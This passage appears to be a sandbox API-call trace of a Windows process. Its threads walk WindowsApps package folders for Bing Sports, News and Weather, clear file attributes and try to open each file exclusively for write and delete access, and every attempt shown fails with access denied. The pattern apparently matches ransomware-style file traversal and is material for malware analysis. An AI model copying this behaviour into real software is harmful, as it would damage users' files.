	[0090.653] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.653] GetLastError () returned 0x5
	[0090.653] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47512e0) returned 1
	[0090.653] FindNextFileW (in: hFindFile=0x46a68d0, lpFindFileData=0x47148f0 | out: lpFindFileData=0x47148f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c254236, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c254236, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c254236, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x650b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.653] FindClose (in: hFindFile=0x46a68d0 | out: hFindFile=0x46a68d0) returned 1
	[0090.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47148f0) returned 1
	[0090.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718d10) returned 1
	[0090.654] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea130) returned 1

Thread:
	id = 949
	os_tid = 0x11ec

	[0082.356] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.357] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.357] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.357] GetLastError () returned 0x5
	[0082.357] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477db20) returned 1

Thread:
	id = 950
	os_tid = 0x12d8

	[0082.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x4751e80
	[0082.361] wcscpy (in: _Dest=0x4751e80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.361] wcscat (in: _Dest=0x4751e80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.361] wcscat (in: _Dest=0x4751e80, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714b58
	[0082.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6910
	[0082.361] wcscmp (_String1=".", _String2=".") returned 0
	[0082.361] FindNextFileW (in: hFindFile=0x46a6910, lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.362] wcscmp (_String1="..", _String2=".") returned 1
	[0082.362] wcscmp (_String1="..", _String2="..") returned 0
	[0082.362] FindNextFileW (in: hFindFile=0x46a6910, lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x608513a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa53f14b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x608513a6, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.362] FindClose (in: hFindFile=0x46a6910 | out: hFindFile=0x46a6910) returned 1
	[0082.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714b58) returned 1
	[0082.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751e80) returned 1
	[0082.362] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752738) returned 1

Thread:
	id = 951
	os_tid = 0x880

	[0082.363] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.365] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.367] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.369] GetLastError () returned 0x5
	[0082.369] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.370] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9770) returned 1

Thread:
	id = 952
	os_tid = 0xe88

	[0082.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718de0
	[0082.371] wcscpy (in: _Dest=0x4718de0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.371] wcscat (in: _Dest=0x4718de0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.371] wcscat (in: _Dest=0x4718de0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.371] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714b58
	[0082.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293d66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70454cf5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6910
	[0082.372] wcscmp (_String1=".", _String2=".") returned 0
	[0082.373] FindNextFileW (in: hFindFile=0x46a6910, lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa293d66, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x70454cf5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.373] wcscmp (_String1="..", _String2=".") returned 1
	[0082.373] wcscmp (_String1="..", _String2="..") returned 0
	[0082.373] FindNextFileW (in: hFindFile=0x46a6910, lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70454cf5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70454cf5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x643a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.373] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.373] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4752738
	[0082.373] wcscpy (in: _Dest=0x4752738, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.373] wcscat (in: _Dest=0x4752738, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.373] wcscat (in: _Dest=0x4752738, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.645] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.649] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.649] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.649] GetLastError () returned 0x5
	[0090.649] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752738) returned 1
	[0090.649] FindNextFileW (in: hFindFile=0x46a6910, lpFindFileData=0x4714b58 | out: lpFindFileData=0x4714b58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70454cf5, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70454cf5, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70454cf5, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x643a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.649] FindClose (in: hFindFile=0x46a6910 | out: hFindFile=0x46a6910) returned 1
	[0090.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714b58) returned 1
	[0090.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718de0) returned 1
	[0090.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4770488) returned 1

Thread:
	id = 953
	os_tid = 0xf38

	[0082.373] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.374] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.375] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.375] GetLastError () returned 0x5
	[0082.375] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.375] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e8800) returned 1

Thread:
	id = 954
	os_tid = 0x1238

	[0082.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x4751e80
	[0082.376] wcscpy (in: _Dest=0x4751e80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.376] wcscat (in: _Dest=0x4751e80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.376] wcscat (in: _Dest=0x4751e80, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.376] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714dc0
	[0082.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6950
	[0082.376] wcscmp (_String1=".", _String2=".") returned 0
	[0082.376] FindNextFileW (in: hFindFile=0x46a6950, lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.376] wcscmp (_String1="..", _String2=".") returned 1
	[0082.376] wcscmp (_String1="..", _String2="..") returned 0
	[0082.376] FindNextFileW (in: hFindFile=0x46a6950, lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5fac1d9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa2942e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5fac1d9b, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.376] FindClose (in: hFindFile=0x46a6950 | out: hFindFile=0x46a6950) returned 1
	[0082.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4714dc0) returned 1
	[0082.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751e80) returned 1
	[0082.376] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec068) returned 1

Thread:
	id = 955
	os_tid = 0xd94

	[0082.378] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.380] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.381] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.382] GetLastError () returned 0x5
	[0082.382] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e8ce0) returned 1

Thread:
	id = 956
	os_tid = 0x1174

	[0082.384] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0082.386] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.388] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.389] GetLastError () returned 0x5
	[0082.389] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e88d0) returned 1

Thread:
	id = 957
	os_tid = 0xea0

	[0082.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x47cbe40
	[0082.392] wcscpy (in: _Dest=0x47cbe40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0082.392] wcscat (in: _Dest=0x47cbe40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.392] wcscat (in: _Dest=0x47cbe40, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.392] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4714dc0
	[0082.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa936cde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6950
	[0082.393] wcscmp (_String1=".", _String2=".") returned 0
	[0082.393] FindNextFileW (in: hFindFile=0x46a6950, lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaa936cde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.393] wcscmp (_String1="..", _String2=".") returned 1
	[0082.393] wcscmp (_String1="..", _String2="..") returned 0
	[0082.393] FindNextFileW (in: hFindFile=0x46a6950, lpFindFileData=0x4714dc0 | out: lpFindFileData=0x4714dc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0fdc78, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2d0fdc78, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2d0fdc78, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x30bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0082.393] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0082.393] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0082.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e32c50
